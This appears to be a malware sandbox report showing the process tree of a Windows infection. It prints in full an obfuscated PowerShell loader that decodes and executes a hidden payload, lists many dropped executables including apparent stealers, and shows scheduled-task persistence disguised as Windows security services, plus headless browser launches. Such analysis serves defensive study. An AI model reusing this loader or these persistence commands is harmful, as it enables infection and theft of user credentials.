DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=17-56;$yIAnYBp='k5XwE8pj';$chwoge='cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5';$a8hABT30='XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4=';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, '$jkEZ6Itm', ''));$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'') $obuXd1W6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /tn "WindowsSecurityScanner" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsSecurityScanner.xml" /f5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "WindowsSecurityScanner" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsSecurityScanner.xml" /f6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\windowsruntime.exe"C:\Users\Admin\windowsruntime.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\13107860101\s0907.exe"C:\Users\Admin\AppData\Local\Temp\13107860101\s0907.exe"6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5AC20D.xml" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5AD188.xml" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /sc HOURLY /mo 7 /tn "WindowsSecurityHealth" /tr "C:\Users\Admin\AppData\Local\Temp\13107860101\s0907.exe" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\13344210101\270752cd1f.exe"C:\Users\Admin\AppData\Local\Temp\13344210101\270752cd1f.exe"6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd7⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffb135ac728,0x7ffb135ac734,0x7ffb135ac7408⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd7⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd8⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\13344220101\6580f14351.exe"C:\Users\Admin\AppData\Local\Temp\13344220101\6580f14351.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\13344230101\s0907.exe"C:\Users\Admin\AppData\Local\Temp\13344230101\s0907.exe"6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B0135.xml" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B12E4.xml" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\13344240101\4BtqZz1.exe"C:\Users\Admin\AppData\Local\Temp\13344240101\4BtqZz1.exe"6⤵
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingswithbestwayforbetterplacescomingforme.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_4b8d61b5a6f660b5.exefile_4b8d61b5a6f660b5.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\google.exegoogle.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\d6a0dbb9ae834113a8401012b1f9aa18.exed6a0dbb9ae834113a8401012b1f9aa18.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Installer_c2cea6.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\Forbes.exeForbes.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i data.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\crypted.execrypted.exe4⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\977d01a36f88a111\ScreenConnect.ClientSetup.msi"5⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Update_bde3c4.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\backup_svc-release.exebackup_svc-release.exe4⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Create /TN "BackupDataApplication" /XML "C:\Users\Admin\AppData\Local\Temp\BackupDataApplication\BackupDataApplication-autostart-task.xml" /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\a\backup_svc-release.exe"C:\Users\Admin\AppData\Local\Temp\a\backup_svc-release.exe" --agent-child5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_e8219df7a9a21088.exefile_e8219df7a9a21088.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\BAC_PC%E5%A3%B3.exeBAC_PC%E5%A3%B3.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\BAC_PC%E5%A3%B3.exeBAC_PC%E5%A3%B3.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\minecraftpatch.exeminecraftpatch.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\uninstall.exeuninstall.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\payl.exepayl.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\payd.exepayd.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodpersonforbestthingsfor.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe4.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exetest.exe4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe2.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\r843.exer843.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5A4A0E.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5A5810.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /sc HOURLY /mo 3 /tn "WindowsSecurityHealth" /tr "C:\Users\Admin\AppData\Local\Temp\a\r843.exe" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File crypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File crypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\dcVylmIq.exedcVylmIq.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe3.exe4⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /xml "C:\Users\Admin\AppData\Local\Temp\MsEdgeUpdate.xml" /tn "\Users\Admin\WindowsPushNotifSvc" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\freebobux.exefreebobux.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingsarecomingfromthebestplacescomingforme.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\stlr.exestlr.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\F0FB723FCCEB4122AA9A.exe"C:\Users\Admin\AppData\Local\Temp\F0FB723FCCEB4122AA9A.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\579866B27F84440A9B63.exe"C:\Users\Admin\AppData\Local\Temp\579866B27F84440A9B63.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\02B2C67960804665AD3B.exe"C:\Users\Admin\AppData\Local\Temp\02B2C67960804665AD3B.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /xml "C:\Users\Admin\AppData\Local\Temp\MsEdgeUpdate.xml" /tn "\Users\Admin\WindowsPushNotifSvc" /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\msedge.exemsedge.exe4⤵
-
C:\Windows\SysWOW64\regedit.exe"regedit.exe" "C:\Users\Admin\AppData\Local\Temp\HJWRLY.reg"5⤵
- Runs .reg file with regedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\velogs.exevelogs.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2jb0pkhy.pz1"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\2jb0pkhy.pz1 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\2jb0pkhy.pz1\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\2jb0pkhy.pz1 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb135ac728,0x7ffb135ac734,0x7ffb135ac7406⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\32hhsec4.kqi"5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\32hhsec4.kqi /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\32hhsec4.kqi\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x258,0x7ffb1237c188,0x7ffb1237c194,0x7ffb1237c1a06⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vwplk1bv.mg3"5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\vwplk1bv.mg36⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1860 -prefsLen 27099 -prefMapHandle 1864 -prefMapSize 270279 -ipcHandle 2028 -initialChannelId {90e949fc-8f9f-45e6-8849-06266d07594a} -parentPid 10056 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10056" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu7⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\533vih22.qvj"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\533vih22.qvj /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\533vih22.qvj\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\533vih22.qvj --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb135ac728,0x7ffb135ac734,0x7ffb135ac7406⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kaze.exekaze.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5A67FE.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\a\kaze.exe"C:\Users\Admin\AppData\Local\Temp\a\kaze.exe" --msvc-svc-worker 79565⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe verygoodthingsarecomingentiretimeforbest.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exediscrete_69.7868.8_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-L2QVMBKX46.tmp\discrete_69.7868.8_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-L2QVMBKX46.tmp\discrete_69.7868.8_INSTALL.tmp" /SL5="$40508,2775941,905728,C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exebot_x64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exebyk4d5tg4nyo.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ngufre.exengufre.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Dllhost.exe"C:\Users\Admin\AppData\Local\Temp\Dllhost.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\x93923.exex93923.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tu3929.exetu3929.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5AA635.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5AA905.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /sc HOURLY /mo 7 /tn "WindowsSecurityHealth" /tr "C:\Users\Admin\AppData\Local\Temp\a\tu3929.exe" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe5fzscnissh1s.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb135ac728,0x7ffb135ac734,0x7ffb135ac7406⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1964 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --force-high-res-timeticks=disabled --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2200 /prefetch:36⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --force-high-res-timeticks=disabled --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2204 /prefetch:86⤵
-
-
